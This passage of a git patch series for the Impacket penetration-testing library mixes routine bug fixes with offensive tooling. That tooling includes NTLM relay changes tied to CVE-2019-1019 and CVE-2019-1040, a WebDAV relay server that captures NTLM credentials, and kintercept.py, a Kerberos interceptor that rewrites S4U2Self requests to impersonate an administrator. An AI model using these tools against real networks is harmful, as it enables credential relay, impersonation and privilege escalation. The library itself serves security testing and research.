in Python 2, bytes in Python 3), then we assume it is a raw buffer self.fields[key] = value except UnicodeDecodeError: import sys @@ -120,7 +122,11 @@ def __setitem__(self, key, value): def __getitem__(self, key): if key == 'Data': - return self.fields[key].decode('utf-8') + try: + return self.fields[key].decode('utf-8') + except UnicodeDecodeError: + # if we could't decode it, we assume it is a raw buffer + return self.fields[key] else: return NDR.__getitem__(self,key) From abd1fe7e072383ff1b4c575ec1f21779c9890fea Mon Sep 17 00:00:00 2001 From: asolino Date: Mon, 24 Jun 2019 09:40:18 -0300 Subject: [PATCH 30/45] Removing unused variable - Plus fixing bug that wasn't showing the domain we're connecting when using the NETLOGON approach to get signing keys --- impacket/examples/ntlmrelayx/clients/smbrelayclient.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 009eb4fa..4f3ddc91 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -131,7 +131,6 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity - self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} @@ -144,7 +143,7 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key - logging.info("Connecting to %s NETLOGON service" % self.domainIp) + logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() From b129807bd0c5dd860e176a726f376e5570067164 Mon Sep 17 00:00:00 2001 From: asolino Date: Mon, 24 Jun 2019 09:46:58 -0300 Subject: [PATCH 31/45] Clarifying some messages when signing is required --- impacket/examples/ntlmrelayx/clients/smbrelayclient.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 4f3ddc91..4e02a437 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -62,7 +62,7 @@ def negotiateSession(self, preferredDialect = None, negSessionResponse = None): self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: - LOG.error('Signing is required, attack won\'t work!') + LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION @@ -103,7 +103,7 @@ def negotiateSession(self, preferredDialect = None, negSessionResponse = None): self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: - LOG.error('Signing is required, attack won\'t work!') + LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: self._Connection['SupportsFileLeasing'] = True @@ -290,10 +290,12 @@ def initConnection(self): # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 - smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) + smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), + negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 - smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), + negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) From 3b8027d93f8938901a7fc61d7842f10feb01119b Mon Sep 17 00:00:00 2001 From: Stuart Kenny Date: Tue, 2 Jul 2019 12:21:28 +0100 Subject: [PATCH 32/45] Do not overwrite default values with 0 --- impacket/dcerpc/v5/dcom/wmi.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py index 6dfbf1e2..90489b4a 100644 --- a/impacket/dcerpc/v5/dcom/wmi.py +++ b/impacket/dcerpc/v5/dcom/wmi.py @@ -812,9 +812,7 @@ def getValues(self, properties): # if itemValue == 0, default value remains if itemValue != 0: value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) - else: - value = 0 - properties[key]['value'] = value + properties[key]['value'] = value valueTable = valueTable[dataSize:] return properties From 398b9e5b5d4cf03f8691ed553f1fa8833ab641dc Mon Sep 17 00:00:00 2001 From: asolino Date: Wed, 3 Jul 2019 13:19:26 -0300 Subject: [PATCH 33/45] Adjusting messages --- impacket/examples/ntlmrelayx/clients/smbrelayclient.py | 2 +- impacket/examples/ntlmrelayx/servers/smbrelayserver.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 4e02a437..4a781051 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -240,7 +240,7 @@ def netlogonSessionKey(self, authenticateMessageBlob): else: signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] - logging.info("SMB Signing key: %s " % hexlify(signingKey)) + logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8')) return STATUS_SUCCESS, signingKey diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index f642f3be..9862e093 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -165,7 +165,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking - raise Exception('SMB2 not supported, fallbacking') + raise Exception('Client does not support SMB2, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 From 2f2db662bae0919251b959d76ef42269dd522def Mon Sep 17 00:00:00 2001 From: asolino Date: Wed, 3 Jul 2019 13:20:58 -0300 Subject: [PATCH 34/45] Completing CVE-2019-1019 attribution. --- impacket/examples/ntlmrelayx/clients/smbrelayclient.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 4a781051..77c904ef 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -506,7 +506,7 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): signingKey = None if self.serverConfig.remove_target: # Trying to exploit CVE-2019-1019 - # Discovery and Implementation by @simakov_marina + # Discovery and Implementation by @simakov_marina and @YaronZi respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = respToken2['ResponseToken'] From cb44903ea9731b5bba05cee5c8d9e1990305f788 Mon Sep 17 00:00:00 2001 From: Isaac Boukris Date: Wed, 3 Jul 2019 22:53:30 +0300 Subject: [PATCH 35/45] A tool for intercepting krb5 connections and for testing KDC handling S4U2Self with unkeyed checksum. See CVE-2018-16860 and CVE-2019-0734 Signed-off-by: Isaac Boukris --- examples/kintercept.py | 272 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 272 insertions(+) create mode 100644 examples/kintercept.py diff --git a/examples/kintercept.py b/examples/kintercept.py new file mode 100644 index 00000000..f400ff64 --- /dev/null +++ b/examples/kintercept.py @@ -0,0 +1,272 @@ +# MIT Licensed +# Copyright (c) 2019 Isaac Boukris +# +# A tool for intercepting TCP streams and for testing KDC handling +# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self +# protocol extention (CVE-2018-16860 and CVE-2019-0734). +# +# The tool listens on a local port (default 88), to which the hijacked +# connections should be redirected (via port forwarding, etc), and sends +# all the packets to the upstream DC server. +# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied +# packet will be changed to the name specified in the handler's argument. +# +# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr + +import struct, socket, sys, argparse, asyncore +from binascii import crc32 +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket.krb5 import constants +from impacket.krb5.crypto import Cksumtype +from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC +from impacket.krb5.types import Principal + + +MAX_READ_SIZE = 16000 +MAX_BUFF_SIZE = 32000 +LISTEN_QUEUE = 10 +TYPE = 10 + +def process_s4u2else_req(data, impostor): + try: + tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0] + except: + print ('Record is not a TGS-REQ') + return '' + + pa_tgs_req = pa_for_user = None + + for pa in tgs['padata']: + if (pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value): + pa_tgs_req = pa + elif (pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value): + pa_for_user = pa + + if not pa_tgs_req or not pa_for_user: + print ('TGS request is not S4U') + return '' + + tgs['padata'] = noValue + tgs['padata'][0] = pa_tgs_req + + try: + for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0] + except: + print ('Failed to decode PA_FOR_USER!') + return '' + + S4UByteArray = struct.pack(' Date: Thu, 11 Jul 2019 14:44:33 -0300 Subject: [PATCH 36/45] Minor changes - chmod +x - Adding exec #! - Adding impacket banner - Fixing code style proposed by pyCharm --- examples/kintercept.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) mode change 100644 => 100755 examples/kintercept.py diff --git a/examples/kintercept.py b/examples/kintercept.py old mode 100644 new mode 100755 index f400ff64..33fdd76e --- a/examples/kintercept.py +++ b/examples/kintercept.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python # MIT Licensed # Copyright (c) 2019 Isaac Boukris # @@ -13,10 +14,11 @@ # # Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr -import struct, socket, sys, argparse, asyncore +import struct, socket, argparse, asyncore from binascii import crc32 from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue +from impacket import version from impacket.krb5 import constants from impacket.krb5.crypto import Cksumtype from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC @@ -38,9 +40,9 @@ def process_s4u2else_req(data, impostor): pa_tgs_req = pa_for_user = None for pa in tgs['padata']: - if (pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value): + if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: pa_tgs_req = pa - elif (pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value): + elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: pa_for_user = pa if not pa_tgs_req or not pa_for_user: @@ -118,7 +120,7 @@ def forward_data(self, data): self.peer.buffer.extend(data) def buffer_empty(self): - return (len(self.buffer) == 0) + return len(self.buffer) == 0 def max_read_size(self): space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer)) @@ -178,7 +180,7 @@ def forward_data(self, data): self.proto_buffer.extend(data) while len(self.proto_buffer): - if (len(self.proto_buffer) < 4): + if len(self.proto_buffer) < 4: break header = ''.join(reversed(str(self.proto_buffer[:4]))) @@ -256,6 +258,8 @@ def parse_args(): if __name__ == '__main__': + print(version.BANNER) + args = parse_args() req_factory = rep_factory = InterceptConnFactory() From 93c4d2c969b136bc2fbaa2f1945a256fae776625 Mon Sep 17 00:00:00 2001 From: salu90 Date: Wed, 17 Jul 2019 11:14:02 +0200 Subject: [PATCH 37/45] added webdav capabilities and relay --- examples/ntlmrelayx.py | 3 +- .../ntlmrelayx/servers/httprelayserver.py | 69 +++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 6 ++ 3 files changed, 77 insertions(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index b6821dcd..e9722b7d 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -154,7 +154,7 @@ def start_servers(options, threads): c.setSMB2Support(options.smb2support) c.setInterfaceIp(options.interface_ip) c.setExploitOptions(options.remove_mic, options.remove_target) - + c.setWebDAVOptions(options.serve_image) if server is HTTPRelayServer: c.setListeningPort(options.http_port) @@ -243,6 +243,7 @@ def stop_servers(threads): 'before serving a WPAD file.') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') + parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') #SMB arguments smboptions = parser.add_argument_group("SMB client options") diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 153514f3..1f816b4c 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -106,11 +106,75 @@ def should_serve_wpad(self, client): else: return False + def serve_image(self): + with open(self.server.config.serve_image, 'r+') as imgFile: + imgFile_data = imgFile.read() + self.send_response(200, "OK") + self.send_header('Content-type', 'image/jpeg') + self.send_header('Content-Length', str(len(imgFile_data))) + self.end_headers() + self.wfile.write(imgFile_data) + def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() + def do_OPTIONS(self): + self.send_response(200) + self.send_header('Allow', + 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY') + self.send_header('Content-Length', '0') + self.send_header('Connection', 'close') + self.end_headers() + return + + def do_PROPFIND(self): + proxy = False + if (".jpg" in self.path) or (".JPG" in self.path): + content = """http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + else: + content = """http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + + messageType = 0 + if self.headers.getheader('Authorization') is None: + self.do_AUTHHEAD(message='NTLM') + pass + else: + typeX = self.headers.getheader('Authorization') + try: + _, blob = typeX.split('NTLM') + token = base64.b64decode(blob.strip()) + except: + self.do_AUTHHEAD() + messageType = struct.unpack(' Date: Mon, 12 Aug 2019 17:51:07 +0800 Subject: [PATCH 38/45] fix the import path of hLsarOpenPolicy2 --- examples/goldenPac.py | 4 ++-- examples/raiseChild.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/examples/goldenPac.py b/examples/goldenPac.py index fff9a55e..6b30d3c0 100755 --- a/examples/goldenPac.py +++ b/examples/goldenPac.py @@ -45,8 +45,8 @@ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED -from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS -from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ diff --git a/examples/raiseChild.py b/examples/raiseChild.py index a605172e..ef91602f 100755 --- a/examples/raiseChild.py +++ b/examples/raiseChild.py @@ -87,8 +87,8 @@ from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx -from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids -from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO From 80ca724120ec92208468431dba1c51b6f109da3b Mon Sep 17 00:00:00 2001 From: asolino Date: Tue, 20 Aug 2019 14:09:15 -0300 Subject: [PATCH 39/45] Do not enconde the string to bytes when changing drive letter. - Should address https://github.com/SecureAuthCorp/impacket/issues/666 --- examples/wmiexec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/wmiexec.py b/examples/wmiexec.py index cc77af92..dbccef0b 100755 --- a/examples/wmiexec.py +++ b/examples/wmiexec.py @@ -226,8 +226,8 @@ def default(self, line): # Drive valid, now we should get the current path self.__pwd = line self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n').encode(CODEC) - self.prompt = (self.__pwd + b'>') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') self.__outputBuffer = '' else: if line != '': From bdaea1c904ce45bb36b058ecb0d1a1bf370fc760 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Michael=20Niew=C3=B6hner?= Date: Wed, 4 Sep 2019 13:18:04 +0200 Subject: [PATCH 40/45] Fix unicode errors caused by python2/3 incompatibility MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michael Niewöhner --- impacket/ldap/ldap.py | 8 ++++---- impacket/ntlm.py | 5 +++-- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py index 246bc3e8..e03d4942 100644 --- a/impacket/ldap/ldap.py +++ b/impacket/ldap/ldap.py @@ -22,7 +22,6 @@ import re import socket from binascii import unhexlify -from six import u from pyasn1.codec.ber import encoder, decoder from pyasn1.error import SubstrateUnderrunError @@ -468,9 +467,10 @@ def sendReceive(self, request, controls=None): def _parseFilter(self, filterStr): try: - filterList = list(reversed(u(filterStr))) - except UnicodeDecodeError: - filterList = list(reversed(filterStr)) + filterStr = filterStr.decode() + except AttributeError: + pass + filterList = list(reversed(filterStr)) searchFilter = self._consumeCompositeFilter(filterList) if filterList: # we have not consumed the whole filter string raise LDAPFilterSyntaxError("unexpected token: '%s'" % filterList[-1]) diff --git a/impacket/ntlm.py b/impacket/ntlm.py index 989704bb..cb7a4dc8 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -533,8 +533,9 @@ class NTLMMessageSignature(ExtendedOrNotMessageSignature): def __expand_DES_key(key): # Expand the key from a 7-byte password key into a 8-byte DES key - key = key[:7] - key += bytearray(7-len(key)) + if not isinstance(key, bytes): + key = bytes(key) + key = bytearray(key[:7]).ljust(7, b'\x00') s = bytearray() s.append(((key[0] >> 1) & 0x7f) << 1) s.append(((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1) From c0664ea4c49e969b639d980c9d4e111f5d460df1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Michael=20Niew=C3=B6hner?= Date: Wed, 4 Sep 2019 10:56:59 +0200 Subject: [PATCH 41/45] Fix broken error message introduced by python3 port MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michael Niewöhner --- examples/GetADUsers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py index 7fd790bb..b58e5705 100755 --- a/examples/GetADUsers.py +++ b/examples/GetADUsers.py @@ -76,7 +76,7 @@ def getMachineName(self): s.login('', '') except Exception: if s.getServerName() == '': - raise 'Error while anonymous logging into %s' + raise 'Error while anonymous logging into %s' % self.__domain else: s.logoff() return s.getServerName() From 0dc38645b60c330ff5b2cee88e3ef82805fb187a Mon Sep 17 00:00:00 2001 From: asolino Date: Tue, 10 Sep 2019 15:15:43 -0300 Subject: [PATCH 42/45] raising the exception the Py3 way --- examples/GetADUsers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py index b58e5705..373b5800 100755 --- a/examples/GetADUsers.py +++ b/examples/GetADUsers.py @@ -76,7 +76,7 @@ def getMachineName(self): s.login('', '') except Exception: if s.getServerName() == '': - raise 'Error while anonymous logging into %s' % self.__domain + raise Exception('Error while anonymous logging into %s' % self.__domain) else: s.logoff() return s.getServerName() From ec7aaa470cbe2d34790e10a1027bcac2f8d0a62f Mon Sep 17 00:00:00 2001 From: Itamar Date: Wed, 18 Sep 2019 14:37:21 +0300 Subject: [PATCH 43/45] Fix bug in RQueryServiceObjectSecurity Hi, RQueryServiceObjectSecurity structure wasn't configured properly. The array of the actual security descriptor was defined as the whole response, so it wasn't able to unpack 'pcbBytesNeeded' properly. I fixed this and the handling of insufficient buffer size (cbBufSize is smaller than the size of the security descriptor). --- impacket/dcerpc/v5/scmr.py | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py index 98b0ac1e..697cfaa9 100644 --- a/impacket/dcerpc/v5/scmr.py +++ b/impacket/dcerpc/v5/scmr.py @@ -204,6 +204,9 @@ def __str__( self ): # STRUCTURES ################################################################################ +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + class SC_RPC_HANDLE(NDRSTRUCT): structure = ( ('Data','20s=""'), @@ -666,7 +669,7 @@ class RQueryServiceObjectSecurity(NDRCALL): class RQueryServiceObjectSecurityResponse(NDRCALL): structure = ( - ('lpSecurityDescriptor',LPBYTE), + ('lpSecurityDescriptor', BYTE_ARRAY), ('pcbBytesNeeded',BOUNDED_DWORD_256K), ('ErrorCode', DWORD), ) @@ -1172,12 +1175,22 @@ def hRLockServiceDatabase(dce, hSCManager): request['hSCManager'] = hSCManager return dce.request(request) -def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize ): + +def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize=0): request = RQueryServiceObjectSecurity() request['hService'] = hService request['dwSecurityInformation'] = dwSecurityInformation request['cbBufSize'] = cbBufSize - return dce.request(request) + try: + resp = dce.request(request) + except DCERPCSessionError as e: + if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER: + resp = e.get_packet() + request['cbBufSize'] = resp['pcbBytesNeeded'] + resp = dce.request(request) + else: + raise + return resp def hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityDescriptor, cbBufSize ): request = RSetServiceObjectSecurity() From 149ba19b391cdc56cbcb6e0927b4e74ad42d11e2 Mon Sep 17 00:00:00 2001 From: Itamar Date: Sun, 22 Sep 2019 11:01:14 +0300 Subject: [PATCH 44/45] Add support for all info types in QUERY_INFO request Hi, in SMB2QueryInfo the infoType field was statically set to SMB2_0_INFO_FILE. In order to query security descriptor and more, I change it to use the actual infoType parameter passed to the function. --- impacket/smb3.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/smb3.py b/impacket/smb3.py index af5b3952..9450c79e 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1310,7 +1310,7 @@ def queryInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, queryInfo = SMB2QueryInfo() queryInfo['FileID'] = fileId - queryInfo['InfoType'] = SMB2_0_INFO_FILE + queryInfo['InfoType'] = infoType queryInfo['FileInfoClass'] = fileInfoClass queryInfo['OutputBufferLength'] = 65535 queryInfo['AdditionalInformation'] = additionalInformation @@ -1341,7 +1341,7 @@ def setInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, f packet['TreeID'] = treeId setInfo = SMB2SetInfo() - setInfo['InfoType'] = SMB2_0_INFO_FILE + setInfo['InfoType'] = infoType setInfo['FileInfoClass'] = fileInfoClass setInfo['BufferLength'] = len(inputBlob) setInfo['AdditionalInformation'] = additionalInformation From 647d7be7cb1328ea69340d3b689693220cd5762f Mon Sep 17 00:00:00 2001 From: asolino Date: Wed, 25 Sep 2019 14:20:16 -0300 Subject: [PATCH 45/45] Tagging new release - It'll just last a few minutes till we come back to -dev :P --- MANIFEST.in | 1 - impacket/version.py | 2 +- setup.py | 2 +- 3 files changed, 2 insertions(+), 3 deletions(-) diff --git a/MANIFEST.in b/MANIFEST.in index 3e4c24e3..07649b35 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -2,7 +2,6 @@ include MANIFEST.in include LICENSE include ChangeLog include requirements.txt -include requirements_examples.txt include tox.ini recursive-include examples tests *.txt *.py recursive-include tests * diff --git a/impacket/version.py b/impacket/version.py index 7867b9e2..1f2cbe5c 100644 --- a/impacket/version.py +++ b/impacket/version.py @@ -6,6 +6,6 @@ # VER_MAJOR = "0" -VER_MINOR = "9.20-dev" +VER_MINOR = "9.20" BANNER = "Impacket v%s.%s - Copyright 2019 SecureAuth Corporation\n" % (VER_MAJOR,VER_MINOR) diff --git a/setup.py b/setup.py index 21ade556..a1e6c9c6 100644 --- a/setup.py +++ b/setup.py @@ -18,7 +18,7 @@ def read(fname): return open(os.path.join(os.path.dirname(__file__), fname)).read() setup(name = PACKAGE_NAME, - version = "0.9.20-dev", + version = "0.9.20", description = "Network protocols Constructors and Dissectors", url = "https://www.secureauth.com/labs/open-source-tools/impacket", author = "SecureAuth Corporation",